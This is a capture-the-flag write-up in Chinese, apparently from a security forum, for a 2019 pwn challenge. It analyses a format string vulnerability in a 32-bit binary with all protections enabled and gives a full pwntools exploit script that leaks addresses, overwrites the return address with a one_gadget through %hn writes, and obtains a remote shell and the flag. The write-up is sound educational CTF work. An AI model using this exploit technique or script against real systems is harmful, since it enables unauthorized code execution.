-
-
[原创]2019 Q2 第三题 金字塔的诅咒(pwn) 分析
-
2019-6-23 16:02 2612
-
0x0 checksec
保护全开
[*] '/home/abc/Desktop/3/format' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
0x1 程序分析
程序一开始,作者就给出了亲切的问候:
puts("Welcome to kanxue 2019, your pwn like cxk");
主函数很简单:
int __cdecl main(int argc, const char **argv, const char **envp) { int idx; // eax char buf[4]; // [esp+0h] [ebp-10h] unsigned int v6; // [esp+4h] [ebp-Ch] int *v7; // [esp+8h] [ebp-8h] v7 = &argc; v6 = __readgsdword(0x14u); setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); puts("Welcome to kanxue 2019, your pwn like cxk"); do { while ( 1 ) { menu(); read(0, buf, 4u); idx = atoi(buf); if ( idx != 1 ) break; printf("What do tou want to say:"); read_input((int)echo, 24); printf(echo); puts((const char *)&unk_5655FA97); } } while ( idx != 2 ); return 0; }
很明显的格式化字符串漏洞,format string是个全局变量:
.bss:5656100C ; char echo[24] .bss:5656100C echo db 18h dup(?) ; DATA XREF: main+B2↑o
0x2 利用思路
首先栈上有libc和栈地址,先把这两个泄露出来,计算出one_gadget和保存返回地址的栈地址。
主要思路:利用%n参数改写main函数返回地址为one_gadget。
然而栈上并没有指向返回地址的值,所以我们要自己构造出来。
构造方法:
1.通过调试,找到一个保存在栈上的栈指针,而且这个栈指针指向的值也是一个栈上的地址(因为%n测试时只能写入两个字节的值,写4个字节会失败?)。
2.%n参数修改这个栈指针指向的栈地址的低16位为&ret_addr的低16位,这样,这个栈地址就和&ret_addr一样了。
3.%n参数修改ret_addr低16位为one_gadget低16位
4.%n参数修改这个栈指针指向的栈地址的低16位为&ret_addr+2的低16位
5.%n参数修改ret_addr高16位为one_gadget高16位
最后程序返回,执行One_gadget拿到shell
0x3 完整EXP
from pwn import * import pdb # context.log_level = 'debug' one_gadget = 0x5f065 # one_gadget = 0x5fbc5 # p = process('./format') p = remote('152.136.18.34',9999) p.recvuntil('Choice:') p.sendline('1') p.recvuntil('say:') payload = '%3$p %5$p %11$p' p.sendline(payload) s = p.recvuntil('Choice').split(' ') s[2] = s[2][:10] elf_base = int(s[0],16)-0x8f3 ret_addr = int(s[1],16)-0x98 libc_base = int(s[2],16)-0x18637 print hex(elf_base) print hex(ret_addr) print hex(libc_base) p.sendline('1') p.recvuntil('say:') payload = r'%.{:d}x%5$hn'.format(ret_addr&0xffff) # print payload p.sendline(payload) p.recvuntil('Choice') p.sendline('1') p.recvuntil('say:') payload = r'%.{:d}x%53$hn'.format((libc_base+one_gadget)&0xffff) # print payload p.sendline(payload) p.recvuntil('Choice') p.sendline('1') p.recvuntil('say:') payload = r'%.{:d}x%5$hn'.format((ret_addr+2)&0xffff) # print payload p.sendline(payload) p.recvuntil('Choice') p.sendline('1') p.recvuntil('say:') # pdb.set_trace() payload = r'%.{:d}x%53$hn'.format(((libc_base+one_gadget)>>16)&0xffff) # print payload p.sendline(payload) p.recvuntil('Choice') p.sendline('2') p.interactive() # abc@vm:~/Desktop/3$ python exp.py # [+] Opening connection to 152.136.18.34 on port 9999: Done # 0x56572000 # 0xffa4cd8c # 0xf7d7c000 # [*] Switching to interactive mode # :$ ls # bin # dev # flag # format # lib # lib32 # lib64 # $ cat flag # flag{c6671fc0-cea3-42ef-8af0-c20c65f854be}
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
最后于 2019-6-23 16:45
被mratlatsn编辑
,原因:
赞赏
他的文章
看原图